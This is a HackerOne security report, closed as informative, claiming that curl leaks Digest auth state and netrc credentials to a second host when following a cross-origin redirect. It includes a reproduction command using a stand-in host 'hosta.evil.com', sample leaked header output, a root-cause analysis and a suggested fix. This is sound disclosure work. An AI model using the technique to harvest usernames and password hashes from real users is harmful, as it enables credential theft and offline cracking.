Digest Auth State Leak on Cross-Origin Redirect via Netrc - Username and Password Hash Sent to Wrong Host
Medium
Vulnerability Details
## Summary
When curl follows an HTTP redirect from hostA to hostB using `--netrc --digest -L`, Digest authentication state (nonce, realm) from hostA persists and is combined with hostB's netrc credentials to generate an unsolicited Digest Authorization header sent to hostB. This leaks hostB's username in cleartext and a password hash computed under the attacker's chosen nonce, enabling offline password cracking. The root cause is that Digest state is never cleared on redirect, `authhost->picked` persists as `CURLAUTH_DIGEST`, and `conn->bits.netrc` bypasses `Curl_auth_allowed_to_host()`. This is a variant of CVE-2022-27774 not covered by that fix - NTLM is correctly cleared on new connections (url.c:3373-3378) but Digest is not.
## Affected version
```bash
curl 8.20.0-DEV (x86_64-pc-linux-gnu)
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ...
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 ...
```
Tested on current master (commit rc-8_20_0-2), Linux x86_64. Likely affects all versions with `--netrc` + `--digest` + redirect support.
## Steps To Reproduce
1. Save PoC script as `poc_digest_leak_crossorigin.py` and run it: `python3 poc_digest_leak_crossorigin.py`
The script starts two HTTP servers (hostA on port 8011, hostB on port 8012), creates a temporary netrc file with credentials for both hosts, and runs curl with `--resolve` to simulate distinct hostnames:
```bash
curl --resolve hosta.evil.com:8011:127.0.0.1 \
--resolve hostb.corp.com:8012:127.0.0.1 \
--netrc-file /tmp/test_netrc \
--digest -L \
http://hosta.evil.com:8011/login
```
Netrc file:
```
machine hosta.evil.com
login evil_user
password evil_pass
machine hostb.corp.com
login corporate_admin
password S3cretP@ssw0rd!
```
2. Observe the output - hostB receives an unsolicited Digest Authorization header:
```bash
[hostA.evil.com] 401 Digest challenge sent
[hostA.evil.com] Authenticated, redirecting to hostB
VULNERABILITY CONFIRMED: Cross-origin credential leak
hostB.corp.com received unsolicited Digest auth:
Digest username="corporate_admin", realm="evil-realm",
nonce="attacker_controlled_nonce_abc", uri="/secret",
cnonce="b09d5KnvEUHWam89", nc=00000002, qop=auth,
response="6e9f04d34189538559a22613f1fe4082"
LEAKED: hostB username = corporate_admin
STALE: realm from hostA = evil-realm
STALE: nonce from hostA = attacker_controlled_nonce_abc
IMPACT: response hash = MD5(hostB_pass : attacker_nonce : ...)
```
3. Run the hash verification PoC to confirm offline cracking: `python3 poc_verify_hash.py`
This proves that knowing the attacker-chosen nonce + leaked hash is sufficient to brute-force the victim's password offline.
### Root cause (three interacting issues)
**1. Digest state never cleared on redirect** - `data->state.digest` (nonce, realm, cnonce) is only cleaned in `Curl_close()` and `curl_easy_reset()`, never during redirect handling.
**2. `authhost->picked` persists** - Set to `CURLAUTH_DIGEST` during hostA's 401 challenge, never reset on redirect. NTLM is correctly cleared at url.c:3373-3378, but Digest is not.
**3. `conn->bits.netrc` bypasses auth check** - At http.c:842-844:
```c
if(Curl_auth_allowed_to_host(data)
|| conn->bits.netrc) // bypasses cross-origin check
result = output_auth_headers(...);
```
## Additional information
This is a variant of CVE-2022-27774 (credential leak on redirect). The fix for that CVE added `Curl_auth_allowed_to_host()`, but the `conn->bits.netrc` exemption at http.c:842 bypasses it for stateful auth methods. NTLM state is correctly cleared on new connections (url.c:3373-3378) but Digest state is not - this asymmetry indicates an oversight.
Suggested fix: Clear Digest state on cross-origin redirect:
```c
// In redirect handling, after host change detected:
if(!Curl_url_same_origin(base, href)) {
Curl_auth_digest_cleanup(&data->state.digest);
data->state.authhost.picked = CURLAUTH_NONE;
}
```
## Impact
An attacker who controls hostA can redirect a curl user to hostB and obtain: (1) hostB's username in cleartext from the unsolicited Digest header, and (2) a Digest response hash computed with the attacker's chosen nonce, enabling offline password cracking if the attacker can observe the request to hostB. This bypasses the credential leak protections added for CVE-2022-27774.
Actions
View on HackerOneReport Stats
- Report ID: 3680038
- State: Closed
- Substate: informative
- Upvotes: 3